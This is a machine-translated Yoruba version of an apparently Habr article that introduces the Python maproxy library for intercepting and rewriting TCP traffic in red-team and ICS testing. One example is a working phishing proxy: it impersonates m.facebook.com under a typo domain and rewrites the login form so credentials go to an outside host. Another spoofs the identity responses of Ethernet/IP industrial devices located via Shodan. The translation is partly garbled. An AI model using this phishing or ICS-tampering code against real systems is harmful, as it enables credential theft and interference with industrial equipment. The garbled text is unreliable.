Itumọ nkan naa ni a pese sile ni aṣalẹ ti ibẹrẹ ikẹkọ naa
asọye
Orisirisi awọn iru awọn igbelewọn aabo, ti o wa lati idanwo ilaluja deede ati awọn iṣẹ Ẹgbẹ Pupa si gige awọn ẹrọ IoT/ICS ati SCADA, pẹlu ṣiṣẹ pẹlu awọn ilana nẹtiwọọki alakomeji, iyẹn ni, intercepting pataki ati iyipada data nẹtiwọki laarin alabara ati ibi-afẹde. Gbigbọn nẹtiwọọki nẹtiwọọki kii ṣe iṣẹ-ṣiṣe ti o nira nitori a ni awọn irinṣẹ bii Wireshark, Tcpdump tabi Scapy, ṣugbọn iyipada dabi pe o jẹ iṣẹ-ṣiṣe aladanla diẹ sii nitori a yoo nilo lati ni iru wiwo kan lati ka data nẹtiwọọki, ṣe àlẹmọ, yipada o lori awọn fly ki o si fi pada si awọn afojusun ogun ni fere gidi akoko. Ni afikun, yoo jẹ apẹrẹ ti iru irinṣẹ ba le ṣiṣẹ laifọwọyi pẹlu awọn asopọ ti o jọra pupọ ati jẹ isọdi nipa lilo awọn iwe afọwọkọ.
Ni ọjọ kan Mo ṣe awari ọpa kan ti a pe
, awọn iwe ni kiakia jẹ ki o ye mi pe maproxy
– o kan ohun ti Mo nilo. Eyi jẹ irọrun ti o rọrun, wapọ ati irọrun atunto TCP aṣoju. Mo ṣe idanwo ọpa yii lori ọpọlọpọ awọn ohun elo idiju, pẹlu awọn ẹrọ ICS (eyiti o ṣe agbejade ọpọlọpọ awọn apo-iwe) lati rii boya o le mu ọpọlọpọ awọn asopọ ti o jọra, ati pe ọpa naa ṣe daradara.
Nkan yii yoo ṣafihan ọ si ṣiṣe data nẹtiwọọki lori lilo lilo maproxy
.
Akopọ
Irinṣẹ maproxy
da lori Tornado, ilana nẹtiwọọki asynchronous ti o gbajumọ ati ti ogbo ni Python.
Ni gbogbogbo, o le ṣiṣẹ ni awọn ọna pupọ:
TCP:TCP
- awọn asopọ TCP ti ko paro;TCP:SSL
иSSL:TCP
- pẹlu fifi ẹnọ kọ nkan-ọna kan;SSL:SSL
– meji-ọna ìsekóòdù.
O wa bi ile-ikawe kan. Fun ibẹrẹ ni kiakia, o le lo apẹẹrẹ awọn faili ti o ṣe afihan akọkọ
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Ọran 1 - aṣoju bidirectional ti o rọrun
Da lori tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Nipa aiyipada ProxyServer()
gba awọn ariyanjiyan meji - ipo asopọ ati ibudo ibi-afẹde. server.listen()
gba ariyanjiyan kan - ibudo fun gbigbọ asopọ ti nwọle.
Ṣiṣe awọn iwe afọwọkọ:
# python tcp2tcp.py
Lati le ṣiṣẹ idanwo naa, a yoo sopọ si olupin SSH agbegbe nipasẹ iwe afọwọkọ aṣoju wa, eyiti o tẹtisi lori 2222/tcp
ibudo ati ki o sopọ si kan boṣewa ibudo 22/tcp
Awọn olupin SSH:
Asia kaabo naa sọ fun ọ pe iwe afọwọkọ apẹẹrẹ wa ti ṣaṣeyọri ni aṣoju ijabọ nẹtiwọọki.
Ọran 2 - iyipada data
Miiran demo akosile logging_proxy.py
apẹrẹ fun ibaraenisepo pẹlu data nẹtiwọki. Awọn asọye ninu faili ṣe apejuwe awọn ọna kilasi ti o le yipada lati ṣaṣeyọri ibi-afẹde rẹ:
Ohun ti o nifẹ julọ ni nibi:
on_c2p_done_read
- lati da data duro ni ọna lati ọdọ alabara si olupin;on_p2s_done_read
- ifasilẹ awọn.
Jẹ ki a gbiyanju yiyipada asia SSH ti olupin pada si alabara:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Ṣiṣẹ iwe afọwọkọ naa:
Bi o ti le rii, a ṣi alabara lọna nitori pe orukọ olupin SSH fun u ti yipada si «DumnySSH»
.
Ọran 3 – oju-iwe ayelujara ararẹ ti o rọrun
Awọn ọna ailopin lo wa lati lo ọpa yii. Ni akoko yii jẹ ki a dojukọ nkan ti o wulo diẹ sii lati ẹgbẹ awọn iṣẹ ṣiṣe Ẹgbẹ Red. Jẹ ki a fara wé oju-iwe ibalẹ m.facebook.com
ki o si lo agbegbe aṣa pẹlu titẹ mọọmọ, fun apẹẹrẹ, m.facebok.com
. Fun awọn idi ifihan, jẹ ki a kan ro pe agbegbe ti forukọsilẹ nipasẹ wa.
A yoo ṣe agbekalẹ asopọ nẹtiwọọki ti ko paro pẹlu aṣoju olufaragba wa ati ṣiṣan SSL si olupin Facebook (31.13.81.36
). Lati jẹ ki apẹẹrẹ yii ṣiṣẹ, a nilo lati rọpo akọsori agbalejo HTTP ki o si fi orukọ agbalejo to pe, ati pe a yoo tun mu funmorawon esi kuro ki a le ni irọrun wọle si awọn akoonu naa. Nigbamii a yoo rọpo fọọmu HTML ki a fi awọn iwe-ẹri iwọle ranṣẹ si wa dipo awọn olupin Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/yo/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Níkẹyìn:
Bi o ti le rii, a ni anfani ni aṣeyọri lati rọpo aaye atilẹba naa.
Ọran 4 - Porting Ethernet/IP
Mo ti ṣe pẹlu awọn ẹrọ ile-iṣẹ ati sọfitiwia (ICS/SCADA) fun igba diẹ, gẹgẹbi awọn olutona eto (PLC), awọn modulu I/O, awọn awakọ, awọn relays, awọn agbegbe siseto akaba ati ọpọlọpọ diẹ sii. Idi eyi jẹ fun awọn ti o fẹran awọn nkan ile-iṣẹ. Sakasaka iru awọn solusan pẹlu ṣiṣere ṣiṣẹ pẹlu awọn ilana nẹtiwọọki. Ninu apẹẹrẹ atẹle, Emi yoo fẹ lati ṣafihan bi o ṣe le ṣe atunṣe ijabọ nẹtiwọki ICS/SCADA.
Fun eyi iwọ yoo nilo awọn wọnyi:
- Nẹtiwọọki sniffer, fun apẹẹrẹ, Wireshark;
- Ethernet/IP tabi ẹrọ SIP nikan, o le rii ni lilo iṣẹ Shodan;
- Iwe afọwọkọ wa da lori
maproxy
.
Ni akọkọ, jẹ ki a wo kini esi idanimọ aṣoju lati CIP (Ilana Iṣẹ Iṣelọpọ ti o wọpọ) dabi:
Idanimọ ẹrọ jẹ aṣeyọri nipa lilo Ilana Ethernet/IP, eyiti o jẹ ẹya imudara ti Ilana Ethernet ile-iṣẹ ti o murasilẹ awọn ilana iṣakoso bii CIP. A yoo yi orukọ ID ti o ni afihan ti o han ni sikirinifoto "NI-IndComm fun Ethernet" lilo iwe afọwọkọ aṣoju wa. A le tun lo iwe afọwọkọ naa logging_proxy.py
ati bakanna yipada ọna kilasi on_p2s_done_read
, nitori a fẹ ki orukọ idanimọ miiran han lori alabara.
Koodu:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Ni pataki, a beere fun idanimọ ẹrọ lẹẹmeji, idahun keji jẹ ọkan atilẹba, ati pe akọkọ ti yipada lori fo.
Ati nikẹhin
Ni temi maproxy
Ọpa ti o rọrun ati irọrun, eyiti o tun kọ ni Python, nitorinaa Mo gbagbọ pe iwọ paapaa le ni anfani lati lo. Nitoribẹẹ, awọn irinṣẹ eka diẹ sii wa fun sisẹ ati iyipada data nẹtiwọọki, ṣugbọn wọn tun nilo akiyesi diẹ sii ati pe wọn nigbagbogbo ṣẹda fun ọran lilo kan pato, fun apẹẹrẹ. maproxy
o le yara ṣe awọn imọran rẹ fun kikọlu data nẹtiwọọki, nitori awọn iwe afọwọkọ apẹẹrẹ jẹ kedere.
orisun: www.habr.com